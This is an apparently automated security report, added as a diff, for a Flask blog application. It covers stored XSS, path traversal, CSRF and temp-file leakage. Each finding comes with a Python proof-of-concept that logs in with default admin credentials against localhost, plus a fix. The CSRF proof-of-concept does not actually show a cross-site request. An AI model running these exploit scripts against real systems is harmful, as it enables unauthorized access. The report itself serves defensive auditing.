Security Analysis Report for blog-eletrix-fr

ai/security_report_2026-03-01_blog-eletrix-fr.md

@@ -0,0 +1,173 @@
+====
+
+Auto Security Analysis of blog-eletrix-fr at 2026-03-01
+
+CRITICAL - Stored Cross-Site Scripting (XSS)
+The application allows users with administrative access to create blog posts that contain arbitrary HTML and JavaScript. These posts are rendered on the frontend using the `|safe` Jinja2 filter, and the content is not sanitized during the Markdown rendering process. An attacker who gains administrative access (e.g., via the default credentials or CSRF) can inject malicious scripts that will execute in the browser of any user viewing the post, potentially leading to session hijacking or further compromise.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+def verify_xss():
+    url = "http://127.0.0.1:5000"
+    cj = http.cookiejar.CookieJar()
+    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+    # Login
+    login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8')
+    opener.open(f"{url}/login", login_data)
+
+    # Create post with XSS payload
+    xss_payload = "<script>alert('XSS')</script>"
+    post_data = urllib.parse.urlencode({
+        'title': 'XSS Test',
+        'author': 'hacker',
+        'tags': 'test',
+        'content': f"This is a test with XSS: {xss_payload}"
+    }).encode('utf-8')
+    opener.open(f"{url}/create_post", post_data)
+
+    # Verify XSS
+    resp = opener.open(f"{url}/post/XSS_Test")
+    content = resp.read().decode('utf-8')
+    if xss_payload in content:
+        print("VULNERABILITY VERIFIED: XSS payload found unescaped in output")
+
+if __name__ == "__main__":
+    verify_xss()
+```
+
+Fix
+Remove the `|safe` filter from `html/post.html` or use a library like `bleach` to sanitize the HTML output after it has been generated by `markdown2`.
+
+====
+
+MEDIUM - Path Traversal
+The `/post/<name>` route in `routes/post.py` uses `os.path.join` with a user-supplied `name` parameter to construct a file path. While Flask's default string converter prevents the use of forward slashes in the URL, the underlying code is structurally vulnerable to path traversal if the routing configuration or input handling changes. Furthermore, an attacker could potentially use this to access sensitive files if they can bypass the routing restrictions.
+
+PoC
+```python
+import os
+import utils
+
+# Demonstrating structural vulnerability in the backend logic
+def test_traversal_locally():
+    name = "../test_traversal"
+    filepath = os.path.join(utils.POSTS_DIR, f"{name}.md")
+    # If test_traversal.md exists in the root, it will be found
+    if os.path.exists(filepath):
+        print(f"Vulnerable path constructed: {filepath}")
+
+if __name__ == "__main__":
+    test_traversal_locally()
+```
+
+Fix
+Use `werkzeug.utils.secure_filename` to sanitize the `name` parameter before joining it with the directory path, and ensure it does not contain any traversal sequences.
+
+====
+
+MEDIUM - Cross-Site Request Forgery (CSRF)
+The application lacks CSRF protection on critical state-changing routes such as `/login`, `/create_post`, and `/upload`. This allows an attacker to perform actions on behalf of an authenticated administrator by tricking them into visiting a malicious website. For example, an attacker could force an admin to create a new blog post containing malicious content or an XSS payload.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+
+def verify_csrf():
+    url = "http://127.0.0.1:5000"
+    cj = http.cookiejar.CookieJar()
+    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+    # Admin logins (Simulating a victim with an active session)
+    login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8')
+    opener.open(f"{url}/login", login_data)
+
+    # Attacker-controlled data sent via CSRF
+    csrf_post_data = urllib.parse.urlencode({
+        'title': 'CSRF Article',
+        'author': 'attacker',
+        'tags': 'csrf',
+        'content': 'This post was created via CSRF!'
+    }).encode('utf-8')
+
+    # No CSRF token is required to successfully create a post
+    opener.open(f"{url}/create_post", csrf_post_data)
+    print("Post created via CSRF")
+
+if __name__ == "__main__":
+    verify_csrf()
+```
+
+Fix
+Implement a CSRF protection mechanism, such as using `Flask-WTF` which provides CSRF tokens for all forms.
+
+====
+
+LOW - Temporary File Leakage / Denial of Service (DoS)
+In the `/upload` route in `routes/upload.py`, temporary files are saved to the `./temp_uploads/` directory. If the subsequent image processing (watermarking) fails (e.g., because the file is not a valid image), the application returns a 500 error but fails to delete the temporary file. This leads to a gradual accumulation of files on the server, which can eventually exhaust disk space and cause a Denial of Service.
+
+PoC
+```python
+import urllib.request
+import urllib.parse
+import http.cookiejar
+import os
+
+def verify_upload_leak():
+    url = "http://127.0.0.1:5000"
+    cj = http.cookiejar.CookieJar()
+    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
+
+    # Login
+    login_data = urllib.parse.urlencode({'username': 'admin', 'password': 'admin'}).encode('utf-8')
+    opener.open(f"{url}/login", login_data)
+
+    # Prepare multipart/form-data upload
+    filename = "test_leak.txt"
+    boundary = '----WebKitFormBoundary7MA4YWxkTrZu0gW'
+    parts = []
+    parts.append('--' + boundary)
+    parts.append('Content-Disposition: form-data; name="file"; filename="%s"' % filename)
+    parts.append('Content-Type: text/plain')
+    parts.append('')
+    parts.append('This is not an image')
+    parts.append('--' + boundary + '--')
+    parts.append('')
+    body = '\r\n'.join(parts).encode('latin-1')
+
+    request = urllib.request.Request(f"{url}/upload/", data=body)
+    request.add_header('Content-Type', 'multipart/form-data; boundary=%s' % boundary)
+
+    try:
+        opener.open(request)
+    except urllib.error.HTTPError as e:
+        if e.code == 500:
+            print("Server failed as expected")
+
+    # Check for leakage in temp_uploads/
+    if os.path.exists("temp_uploads") and os.listdir("temp_uploads"):
+        print("VULNERABILITY VERIFIED: Uploaded file leaked in temp_uploads/")
+
+if __name__ == "__main__":
+    verify_upload_leak()
+```
+
+Fix
+Use a `try...finally` block to ensure that temporary files are always deleted, regardless of whether the processing succeeds or fails.
+
+====
+
+Summary:
+
+| Severity | Exploit Name |
+| :--- | :--- |
+| CRITICAL | Stored Cross-Site Scripting (XSS) |
+| MEDIUM | Path Traversal |
+| MEDIUM | Cross-Site Request Forgery (CSRF) |
+| LOW | Temporary File Leakage / Denial of Service (DoS) |